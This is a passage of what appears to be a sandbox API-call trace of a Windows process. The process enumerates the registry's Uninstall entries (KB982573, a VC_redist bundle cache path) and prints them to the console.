lpMem=0x3df290) returned 1 [0151.124] GetProcessHeap () returned 0x3c0000 [0151.124] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0151.124] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="KB982573", pcbData=0x29f780*=0x12) returned 0x0 [0151.124] __iob_func () returned 0x7fefd702a80 [0151.124] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.124] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.124] _fileno (_File=0x7fefd702ab0) returned 1 [0151.124] _errno () returned 0x204bb0 [0151.124] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.124] _errno () returned 0x204bb0 [0151.124] GetFileType (hFile=0x50) returned 0x1 [0151.124] lstrlenW (lpString=" ") returned 4 [0151.124] GetConsoleOutputCP () returned 0x1b5 [0151.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.124] GetConsoleOutputCP () returned 0x1b5 [0151.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.124] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.124] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.124] lstrlenW (lpString="") returned 0 [0151.124] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.125] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0151.125] lstrlenW (lpString="(Default)") returned 9 [0151.125] __iob_func () returned 0x7fefd702a80 [0151.125] _fileno (_File=0x7fefd702ab0) returned 1 [0151.125] _errno () returned 0x204bb0 [0151.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.125] _errno () returned 0x204bb0 [0151.125] GetFileType (hFile=0x50) returned 0x1 [0151.125] lstrlenW (lpString="(Default)") returned 9 [0151.125] GetConsoleOutputCP () returned 0x1b5 [0151.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.125] GetConsoleOutputCP () returned 0x1b5 [0151.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0151.125] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.125] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.125] __iob_func () returned 0x7fefd702a80 [0151.125] _fileno (_File=0x7fefd702ab0) returned 1 [0151.125] _errno () returned 0x204bb0 [0151.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.125] _errno () returned 0x204bb0 [0151.125] GetFileType (hFile=0x50) returned 0x1 [0151.125] lstrlenW (lpString=" ") returned 4 [0151.125] GetConsoleOutputCP () returned 0x1b5 [0151.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.126] GetConsoleOutputCP () returned 0x1b5 [0151.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.126] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.126] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.126] __iob_func () returned 0x7fefd702a80 [0151.126] _fileno (_File=0x7fefd702ab0) returned 1 [0151.126] _errno () returned 0x204bb0 [0151.126] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.126] _errno () returned 0x204bb0 [0151.126] GetFileType (hFile=0x50) returned 0x1 [0151.126] lstrlenW (lpString="REG_SZ") returned 6 [0151.126] GetConsoleOutputCP () returned 0x1b5 [0151.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.126] GetConsoleOutputCP () returned 0x1b5 [0151.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.126] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.126] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.126] __iob_func () returned 0x7fefd702a80 [0151.126] _fileno (_File=0x7fefd702ab0) returned 1 [0151.126] _errno () returned 0x204bb0 [0151.126] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.127] _errno () returned 0x204bb0 [0151.127] GetFileType (hFile=0x50) returned 0x1 [0151.127] lstrlenW (lpString=" ") returned 4 [0151.127] GetConsoleOutputCP () returned 0x1b5 [0151.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.127] GetConsoleOutputCP () returned 0x1b5 [0151.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.127] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.127] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.127] __iob_func () returned 0x7fefd702a80 [0151.127] _fileno (_File=0x7fefd702ab0) returned 1 [0151.127] _errno () returned 0x204bb0 [0151.127] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.127] _errno () returned 0x204bb0 [0151.127] GetFileType (hFile=0x50) returned 0x1 [0151.127] lstrlenW (lpString="KB982573") returned 8 [0151.127] GetConsoleOutputCP () returned 0x1b5 [0151.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB982573", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.127] GetConsoleOutputCP () returned 0x1b5 [0151.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB982573", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB982573", lpUsedDefaultChar=0x0) returned 8 [0151.127] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0151.127] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.128] __iob_func () returned 0x7fefd702a80 [0151.128] _fileno (_File=0x7fefd702ab0) returned 1 [0151.128] _errno () returned 0x204bb0 [0151.128] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.128] _errno () returned 0x204bb0 [0151.128] GetFileType (hFile=0x50) returned 0x1 [0151.128] lstrlenW (lpString="\n") returned 1 [0151.128] GetConsoleOutputCP () returned 0x1b5 [0151.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.128] GetConsoleOutputCP () returned 0x1b5 [0151.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.128] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.128] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.128] GetProcessHeap () returned 0x3c0000 [0151.128] GetProcessHeap () returned 0x3c0000 [0151.128] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.128] GetProcessHeap () returned 0x3c0000 [0151.128] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0151.128] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0151.128] __iob_func () returned 0x7fefd702a80 [0151.128] _fileno (_File=0x7fefd702ab0) returned 1 [0151.128] _errno () returned 0x204bb0 [0151.128] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.128] _errno () returned 0x204bb0 [0151.128] GetFileType (hFile=0x50) returned 0x1 [0151.128] lstrlenW (lpString="\n") returned 1 [0151.128] GetConsoleOutputCP () returned 0x1b5 [0151.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.129] GetConsoleOutputCP () returned 0x1b5 [0151.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.129] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.129] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.129] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.129] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.129] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573") returned 130 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x108) returned 0x3e1c70 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.129] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.129] GetProcessHeap () returned 0x3c0000 [0151.129] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x108 [0151.129] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.129] RegCloseKey (hKey=0x5c) returned 0x0 [0151.129] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x2d, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.130] __iob_func () returned 0x7fefd702a80 [0151.130] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.130] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\n") returned 122 [0151.130] _fileno (_File=0x7fefd702ab0) returned 1 [0151.130] _errno () returned 0x204bb0 [0151.130] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.130] _errno () returned 0x204bb0 [0151.130] GetFileType (hFile=0x50) returned 0x1 [0151.130] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\n") returned 122 [0151.130] GetConsoleOutputCP () returned 0x1b5 [0151.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0151.130] GetConsoleOutputCP () returned 0x1b5 [0151.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\n", lpUsedDefaultChar=0x0) returned 122 [0151.130] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0151.130] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.130] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{f325f05b-f963-4640-a43b-c8a494cdda0f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0151.130] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x14, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.130] GetProcessHeap () returned 0x3c0000 [0151.130] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2a) returned 0x3d78d0 [0151.130] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleCachePath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.131] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xae) returned 0x0 [0151.131] GetProcessHeap () returned 0x3c0000 [0151.131] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb0) returned 0x3e1c70 [0151.131] GetProcessHeap () returned 0x3c0000 [0151.131] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.131] GetProcessHeap () returned 0x3c0000 [0151.131] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb0 [0151.131] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xae | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", pcbData=0x29f780*=0xac) returned 0x0 [0151.131] __iob_func () returned 0x7fefd702a80 [0151.131] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.131] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.131] _fileno (_File=0x7fefd702ab0) returned 1 [0151.131] _errno () returned 0x204bb0 [0151.131] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.131] _errno () returned 0x204bb0 [0151.131] GetFileType (hFile=0x50) returned 0x1 [0151.131] lstrlenW (lpString=" ") returned 4 [0151.131] GetConsoleOutputCP () returned 0x1b5 [0151.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.131] GetConsoleOutputCP () returned 0x1b5 [0151.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.131] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.131] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.131] lstrlenW (lpString="BundleCachePath") returned 15 [0151.131] __iob_func () returned 0x7fefd702a80 [0151.131] _fileno (_File=0x7fefd702ab0) returned 1 [0151.132] _errno () returned 0x204bb0 [0151.132] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.132] _errno () returned 0x204bb0 [0151.132] GetFileType (hFile=0x50) returned 0x1 [0151.132] lstrlenW (lpString="BundleCachePath") returned 15 [0151.132] GetConsoleOutputCP () returned 0x1b5 [0151.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0151.132] GetConsoleOutputCP () returned 0x1b5 [0151.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleCachePath", lpUsedDefaultChar=0x0) returned 15 [0151.132] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0151.132] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.132] __iob_func () returned 0x7fefd702a80 [0151.132] _fileno (_File=0x7fefd702ab0) returned 1 [0151.132] _errno () returned 0x204bb0 [0151.132] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.132] _errno () returned 0x204bb0 [0151.132] GetFileType (hFile=0x50) returned 0x1 [0151.132] lstrlenW (lpString=" ") returned 4 [0151.132] GetConsoleOutputCP () returned 0x1b5 [0151.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.132] GetConsoleOutputCP () returned 0x1b5 [0151.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.132] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.133] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.133] __iob_func () returned 0x7fefd702a80 [0151.133] _fileno (_File=0x7fefd702ab0) returned 1 [0151.133] _errno () returned 0x204bb0 [0151.133] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.133] _errno () returned 0x204bb0 [0151.133] GetFileType (hFile=0x50) returned 0x1 [0151.133] lstrlenW (lpString="REG_SZ") returned 6 [0151.133] GetConsoleOutputCP () returned 0x1b5 [0151.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.133] GetConsoleOutputCP () returned 0x1b5 [0151.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.133] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.133] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.133] __iob_func () returned 0x7fefd702a80 [0151.133] _fileno (_File=0x7fefd702ab0) returned 1 [0151.133] _errno () returned 0x204bb0 [0151.133] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.133] _errno () returned 0x204bb0 [0151.133] GetFileType (hFile=0x50) returned 0x1 [0151.133] lstrlenW (lpString=" ") returned 4 [0151.133] GetConsoleOutputCP () returned 0x1b5 [0151.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.134] GetConsoleOutputCP () returned 0x1b5 [0151.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.134] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.134] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.134] __iob_func () returned 0x7fefd702a80 [0151.134] _fileno (_File=0x7fefd702ab0) returned 1 [0151.134] _errno () returned 0x204bb0 [0151.134] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.134] _errno () returned 0x204bb0 [0151.134] GetFileType (hFile=0x50) returned 0x1 [0151.134] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned 85 [0151.134] GetConsoleOutputCP () returned 0x1b5 [0151.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", cchWideChar=85, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 85 [0151.134] GetConsoleOutputCP () returned 0x1b5 [0151.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", cchWideChar=85, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", lpUsedDefaultChar=0x0) returned 85 [0151.134] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 85 [0151.134] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.134] __iob_func () returned 0x7fefd702a80 [0151.134] _fileno (_File=0x7fefd702ab0) returned 1 [0151.134] _errno () returned 0x204bb0 [0151.134] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.134] _errno () returned 0x204bb0 [0151.134] GetFileType (hFile=0x50) returned 0x1 [0151.134] lstrlenW (lpString="\n") returned 1 [0151.134] GetConsoleOutputCP () returned 0x1b5 [0151.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.135] GetConsoleOutputCP () returned 0x1b5 [0151.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.135] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: 